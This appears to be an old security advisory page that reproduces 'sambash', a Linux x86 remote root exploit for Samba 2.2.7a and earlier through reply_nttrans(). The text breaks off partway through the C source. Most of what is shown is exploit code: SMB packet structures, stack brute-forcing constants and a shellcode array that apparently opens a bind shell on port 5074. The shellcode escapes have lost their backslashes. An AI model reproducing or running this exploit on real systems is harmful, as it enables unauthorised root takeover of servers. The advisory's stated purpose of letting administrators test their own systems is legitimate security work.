‘Samba reply_nttrans() Remote Root Exploit’
Summary
‘A vulnerability in the Linux implementation of the SMB protocol (Samba) allows a remote attacker to execute arbitrary code. The following exploit code can be used by administrators to test their system for the vulnerability.
Note: This is *not* the trans2open issue covered by sambal.c and others.’
Credit:
‘The information was provided by flatline‘
Details
‘Vulnerable Systems:
* Samba version 2.2.7a and prior
/**
** sambash — samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl
**
** since we fully control a memcpy(), our options are endless here. i’ve chosen to go the stack route tho,
** because any heap method would’ve required too much brute forcing or would’ve required the ugly use of targets.
**
** the stack method still requires little brute forcing and obviously will not survive PaX, but it’s efficient.
** i’m using executable rets as a ‘jmp sled’ which jmp to the shellcode to help improve our brute forcing chances a bit.
**
** shouts to (#)0dd, #!l33tsecurity and #!xpc.
**
** many thanks to tcpdump which had to suffer the torture i put it through and often didn’t survive (more to come?).
**
** public/private, i don’t give a shit.
**
**/
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
typedef unsigned char uint8;
typedef unsigned short uint16;
typedef unsigned long uint32;
/* http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf, smb_cifs_protocol.pdf,
http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14, http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */
// XXX: lelijkheid: vermijd word padding door hier byte arrays van te maken.
struct variable_data_header
{ uint8 wordcount, bytecount[2];
};
struct nbt_session_header
{ uint8 type, flags, len[2];
};
struct smb_base_header
{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];
uint8 flags;
uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];
};
struct negprot_reply_header
{ uint8 wordcount;
uint8 dialectindex[2];
uint8 securitymode;
uint16 maxmpxcount, maxvccount;
uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;
uint16 timezone;
uint8 keylen;
uint16 bytecount;
};
// omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor deze header.
struct sesssetupx_request_header
{ uint8 wordcount, command, reserved;
uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];
uint8 sessionid[4];
uint8 ipasswdlen[2], passwdlen[2];
uint8 reserved2[4], capabilities[4];
};
struct sesssetupx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];
// wat volgt: char nativeos[], nativelanman[], primarydomain[];
};
struct tconx_request_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];
// uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];
};
struct tconx_reply_header
{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];
// wat volgt: char service[], char nativefilesystem[];
};
// verschilt van trans en trans2 door de 32 bits wijde header fields.
struct nttrans_primary_request_header
{ uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4], totaldatacount[4], maxparamcount[4], maxdatacount[4];
uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4], setupcount, function[2], bytecount[2];
};
struct nttrans_secondary_request_header
{ uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],
datacount[4], dataoffset[4], datadisplace[4];
};
/* struct trans2_request_header
{ uint8 wordcount;
int totalparamcount, totaldatacount, maxparamcount, maxdatacount;
uint8 maxsetupcount[2], flags[2];
uint8 timeout[4];
int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;
uint8 setupcount[2], bytecount[2];
}; */
struct trans2_reply_header
{ uint8 wordcount;
uint16 totalparamcount, totaldatacount, reserved, paramcount, paramoffset,
paramdisplacement, datacount, dataoffset, datadisplacement;
uint8 setupcount, reserved2;
uint16 bytecount;
};
#define SMBD_PORT 139
#define SHELLCODE_PORT 5074
#define SMB_NEGPROT 0x72
#define SMB_SESSSETUPX 0x73
#define SMB_TCONX 0x75
#define SMB_TRANS2 0x32
#define SMB_NTTRANS1 0xA0
#define SMB_NTTRANS2 0xA1
#define SMB_NTTRANSCREATE 0x01
#define SMB_TRANS2OPEN 0x00
#define SMB_SESSIONREQ 0x81
#define SMB_SESSION 0x00
#define STACKBOTTOM 0xbfffffff
#define STACKBASE 0xbfffd000
#define TOTALCOUNT ((int)(STACKBOTTOM – STACKBASE))
#define BRUTESTEP 5120
extern char *optarg;
extern int optind, errno, h_errno;
uint16 tid, pid, uid;
uint32 sessionid, PARAMBASE = 0x81c0000;
char *tconx_servername;
int userbreak = 0;
char shellcode[] = "x31xc0x50x40x89xc3x50x40x50x89xe1xb0x66xcdx80x31xd2x52"
"x66x68x13xd2x43x66x53x89xe1x6ax10x51x50x89xe1xb0x66xcd"
"x80x40x89x44x24x04x43x43xb0x66xcdx80x83xc4x0cx52x52x43"
"xb0x66xcdx80x93x89xd1xb0x3fxcdx80x41x80xf9x03x75xf6x52"
"x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0b"
"xcdx80";
// ach, ‘t kan ermee door.
char *netbios_encode_name(char *name, int type)
{ char plainname[16], c, *encoded, *ptr;
int i, len = strlen(name);
if ((encoded = malloc(34)) == NULL)
{ fprintf(stderr, "malloc() failedn");
exit(-1);
}
ptr = encoded;
strncpy(plainname, name, 15);
*ptr++ = 0x20;
for (i = 0; i < 16; i++)
{ if (i == 15) c = type;
else
{ if (i < len) c = toupper(plainname[i]);
else c = 0x20;
}
*ptr++ = (((c >> 4) & 0xf) + 0x41);
*ptr++ = ((c & 0xf) + 0x41);
}
*ptr = ‘